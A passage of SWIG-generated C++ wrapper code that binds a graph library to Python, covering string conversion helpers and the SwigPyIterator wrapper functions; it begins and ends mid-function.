static_cast< ptrdiff_t >(v); #ifdef SWIG_LONG_LONG_AVAILABLE } else if (sizeof(ptrdiff_t) <= sizeof(long long)) { long long v; res = SWIG_AsVal_long_SS_long (obj, val ? &v : 0); if (SWIG_IsOK(res) && val) *val = static_cast< ptrdiff_t >(v); } #endif return res; } #include <algorithm> #include <map> #include <algorithm> #include <unordered_map> #include <list> #include <easy_logger/easy_logger.h> #include "graph.h" SWIGINTERN swig_type_info* SWIG_pchar_descriptor(void) { static int init = 0; static swig_type_info* info = 0; if (!init) { info = SWIG_TypeQuery("_p_char"); init = 1; } return info; } SWIGINTERN int SWIG_AsCharPtrAndSize(PyObject *obj, char** cptr, size_t* psize, int *alloc) { #if PY_VERSION_HEX>=0x03000000 #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) if (PyBytes_Check(obj)) #else if (PyUnicode_Check(obj)) #endif #else if (PyString_Check(obj)) #endif { char *cstr; Py_ssize_t len; int ret = SWIG_OK; #if PY_VERSION_HEX>=0x03000000 #if !defined(SWIG_PYTHON_STRICT_BYTE_CHAR) if (!alloc && cptr) { /* We can't allow converting without allocation, since the internal representation of string in Python 3 is UCS-2/UCS-4 but we require a UTF-8 representation. TODO(bhy) More detailed explanation */ return SWIG_RuntimeError; } obj = PyUnicode_AsUTF8String(obj); if (!obj) return SWIG_TypeError; if (alloc) *alloc = SWIG_NEWOBJ; #endif PyBytes_AsStringAndSize(obj, &cstr, &len); #else PyString_AsStringAndSize(obj, &cstr, &len); #endif if (cptr) { if (alloc) { if (*alloc == SWIG_NEWOBJ) { *cptr = reinterpret_cast< char* >(memcpy(new char[len + 1], cstr, sizeof(char)*(len + 1))); *alloc = SWIG_NEWOBJ; } else { *cptr = cstr; *alloc = SWIG_OLDOBJ; } } else { #if PY_VERSION_HEX>=0x03000000 #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) *cptr = PyBytes_AsString(obj); #else assert(0); /* Should never reach here with Unicode strings in Python 3 */ #endif #else *cptr = SWIG_Python_str_AsChar(obj); if (!*cptr) ret = SWIG_TypeError; #endif } } if (psize) *psize = len + 1; #if PY_VERSION_HEX>=0x03000000 && !defined(SWIG_PYTHON_STRICT_BYTE_CHAR) Py_XDECREF(obj); #endif return ret; } else { #if defined(SWIG_PYTHON_2_UNICODE) #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) #error "Cannot use both SWIG_PYTHON_2_UNICODE and SWIG_PYTHON_STRICT_BYTE_CHAR at once" #endif #if PY_VERSION_HEX<0x03000000 if (PyUnicode_Check(obj)) { char *cstr; Py_ssize_t len; if (!alloc && cptr) { return SWIG_RuntimeError; } obj = PyUnicode_AsUTF8String(obj); if (!obj) return SWIG_TypeError; if (PyString_AsStringAndSize(obj, &cstr, &len) != -1) { if (cptr) { if (alloc) *alloc = SWIG_NEWOBJ; *cptr = reinterpret_cast< char* >(memcpy(new char[len + 1], cstr, sizeof(char)*(len + 1))); } if (psize) *psize = len + 1; Py_XDECREF(obj); return SWIG_OK; } else { Py_XDECREF(obj); } } #endif #endif swig_type_info* pchar_descriptor = SWIG_pchar_descriptor(); if (pchar_descriptor) { void* vptr = 0; if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) { if (cptr) *cptr = (char *) vptr; if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0; if (alloc) *alloc = SWIG_OLDOBJ; return SWIG_OK; } } } return SWIG_TypeError; } SWIGINTERN int SWIG_AsPtr_std_string (PyObject * obj, std::string **val) { char* buf = 0 ; size_t size = 0; int alloc = SWIG_OLDOBJ; if (SWIG_IsOK((SWIG_AsCharPtrAndSize(obj, &buf, &size, &alloc)))) { if (buf) { if (val) *val = new std::string(buf, size - 1); if (alloc == SWIG_NEWOBJ) delete[] buf; return SWIG_NEWOBJ; } else { if (val) *val = 0; return SWIG_OLDOBJ; } } else { static int init = 0; static swig_type_info* descriptor = 0; if (!init) { descriptor = SWIG_TypeQuery("std::string" " *"); init = 1; } if (descriptor) { std::string *vptr; int res = SWIG_ConvertPtr(obj, (void**)&vptr, descriptor, 0); if (SWIG_IsOK(res) && val) *val = vptr; return res; } } return SWIG_ERROR; } SWIGINTERNINLINE PyObject* SWIG_From_unsigned_SS_int (unsigned int value) { return PyInt_FromSize_t((size_t) value); } #ifdef __cplusplus extern "C" { #endif SWIGINTERN PyObject *_wrap_delete_SwigPyIterator(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_DISOWN | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_SwigPyIterator" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); delete arg1; resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_value(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; PyObject *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_value" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (PyObject *)((swig::SwigPyIterator const *)arg1)->value(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = result; return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_incr__SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; size_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; size_t val2 ; int ecode2 = 0 ; swig::SwigPyIterator *result = 0 ; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_incr" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_size_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator_incr" "', argument " "2"" of type '" "size_t""'"); } arg2 = static_cast< size_t >(val2); try { result = (swig::SwigPyIterator *)(arg1)->incr(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_incr__SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; swig::SwigPyIterator *result = 0 ; if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_incr" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (swig::SwigPyIterator *)(arg1)->incr(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_incr(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[3] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "SwigPyIterator_incr", 0, 2, argv))) SWIG_fail; --argc; if (argc == 1) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_SwigPyIterator_incr__SWIG_1(self, argc, argv); } } if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { { int res = SWIG_AsVal_size_t(argv[1], NULL); _v = SWIG_CheckState(res); } if (_v) { return _wrap_SwigPyIterator_incr__SWIG_0(self, argc, argv); } } } fail: SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'SwigPyIterator_incr'.\n" " Possible C/C++ prototypes are:\n" " swig::SwigPyIterator::incr(size_t)\n" " swig::SwigPyIterator::incr()\n"); return 0; } SWIGINTERN PyObject *_wrap_SwigPyIterator_decr__SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; size_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; size_t val2 ; int ecode2 = 0 ; swig::SwigPyIterator *result = 0 ; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_decr" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_size_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator_decr" "', argument " "2"" of type '" "size_t""'"); } arg2 = static_cast< size_t >(val2); try { result = (swig::SwigPyIterator *)(arg1)->decr(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_decr__SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; swig::SwigPyIterator *result = 0 ; if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_decr" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (swig::SwigPyIterator *)(arg1)->decr(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_decr(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[3] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "SwigPyIterator_decr", 0, 2, argv))) SWIG_fail; --argc; if (argc == 1) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_SwigPyIterator_decr__SWIG_1(self, argc, argv); } } if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { { int res = SWIG_AsVal_size_t(argv[1], NULL); _v = SWIG_CheckState(res); } if (_v) { return _wrap_SwigPyIterator_decr__SWIG_0(self, argc, argv); } } } fail: SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'SwigPyIterator_decr'.\n" " Possible C/C++ prototypes are:\n" " swig::SwigPyIterator::decr(size_t)\n" " swig::SwigPyIterator::decr()\n"); return 0; } SWIGINTERN PyObject *_wrap_SwigPyIterator_distance(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; swig::SwigPyIterator *arg2 = 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; ptrdiff_t result; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator_distance", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_distance" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2, SWIGTYPE_p_swig__SwigPyIterator, 0 | 0); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "SwigPyIterator_distance" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } if (!argp2) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "SwigPyIterator_distance" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } arg2 = reinterpret_cast< swig::SwigPyIterator * >(argp2); try { result = ((swig::SwigPyIterator const *)arg1)->distance((swig::SwigPyIterator const &)*arg2); } catch(std::invalid_argument &_e) { SWIG_Python_Raise(SWIG_NewPointerObj((new std::invalid_argument(static_cast< const std::invalid_argument& >(_e))),SWIGTYPE_p_std__invalid_argument,SWIG_POINTER_OWN), "std::invalid_argument", SWIGTYPE_p_std__invalid_argument); SWIG_fail; } resultobj = SWIG_From_ptrdiff_t(static_cast< ptrdiff_t >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_equal(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; swig::SwigPyIterator *arg2 = 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; bool result; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator_equal", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_equal" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2, SWIGTYPE_p_swig__SwigPyIterator, 0 | 0); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "SwigPyIterator_equal" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } if (!argp2) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "SwigPyIterator_equal" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } arg2 = reinterpret_cast< swig::SwigPyIterator * >(argp2); try { result = (bool)((swig::SwigPyIterator const *)arg1)->equal((swig::SwigPyIterator const &)*arg2); } catch(std::invalid_argument &_e) { SWIG_Python_Raise(SWIG_NewPointerObj((new std::invalid_argument(static_cast< const std::invalid_argument& >(_e))),SWIGTYPE_p_std__invalid_argument,SWIG_POINTER_OWN), "std::invalid_argument", SWIGTYPE_p_std__invalid_argument); SWIG_fail; } resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_copy(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; swig::SwigPyIterator *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_copy" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); result = (swig::SwigPyIterator *)((swig::SwigPyIterator const *)arg1)->copy(); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_OWN | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_next(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; PyObject *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_next" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (PyObject *)(arg1)->next(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = result; return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator___next__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; PyObject *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___next__" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (PyObject *)(arg1)->__next__(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = result; return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_previous(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; PyObject *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_previous" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); try { result = (PyObject *)(arg1)->previous(); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = result; return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator_advance(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; ptrdiff_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; ptrdiff_t val2 ; int ecode2 = 0 ; PyObject *swig_obj[2] ; swig::SwigPyIterator *result = 0 ; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator_advance", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator_advance" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_ptrdiff_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator_advance" "', argument " "2"" of type '" "ptrdiff_t""'"); } arg2 = static_cast< ptrdiff_t >(val2); try { result = (swig::SwigPyIterator *)(arg1)->advance(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator___eq__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; swig::SwigPyIterator *arg2 = 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; bool result; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator___eq__", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___eq__" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2, SWIGTYPE_p_swig__SwigPyIterator, 0 | 0); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "SwigPyIterator___eq__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } if (!argp2) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "SwigPyIterator___eq__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } arg2 = reinterpret_cast< swig::SwigPyIterator * >(argp2); result = (bool)((swig::SwigPyIterator const *)arg1)->operator ==((swig::SwigPyIterator const &)*arg2); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: PyErr_Clear(); Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *_wrap_SwigPyIterator___ne__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; swig::SwigPyIterator *arg2 = 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; bool result; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator___ne__", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___ne__" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2, SWIGTYPE_p_swig__SwigPyIterator, 0 | 0); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "SwigPyIterator___ne__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } if (!argp2) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "SwigPyIterator___ne__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } arg2 = reinterpret_cast< swig::SwigPyIterator * >(argp2); result = (bool)((swig::SwigPyIterator const *)arg1)->operator !=((swig::SwigPyIterator const &)*arg2); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: PyErr_Clear(); Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *_wrap_SwigPyIterator___iadd__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; ptrdiff_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; ptrdiff_t val2 ; int ecode2 = 0 ; PyObject *swig_obj[2] ; swig::SwigPyIterator *result = 0 ; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator___iadd__", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_DISOWN | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___iadd__" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_ptrdiff_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator___iadd__" "', argument " "2"" of type '" "ptrdiff_t""'"); } arg2 = static_cast< ptrdiff_t >(val2); try { result = (swig::SwigPyIterator *) &(arg1)->operator +=(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_OWN | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator___isub__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; ptrdiff_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; ptrdiff_t val2 ; int ecode2 = 0 ; PyObject *swig_obj[2] ; swig::SwigPyIterator *result = 0 ; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator___isub__", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_DISOWN | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___isub__" "', argument " "1"" of type '" "swig::SwigPyIterator *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_ptrdiff_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator___isub__" "', argument " "2"" of type '" "ptrdiff_t""'"); } arg2 = static_cast< ptrdiff_t >(val2); try { result = (swig::SwigPyIterator *) &(arg1)->operator -=(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_OWN | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_SwigPyIterator___add__(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; ptrdiff_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; ptrdiff_t val2 ; int ecode2 = 0 ; PyObject *swig_obj[2] ; swig::SwigPyIterator *result = 0 ; if (!SWIG_Python_UnpackTuple(args, "SwigPyIterator___add__", 2, 2, swig_obj)) SWIG_fail; res1 = 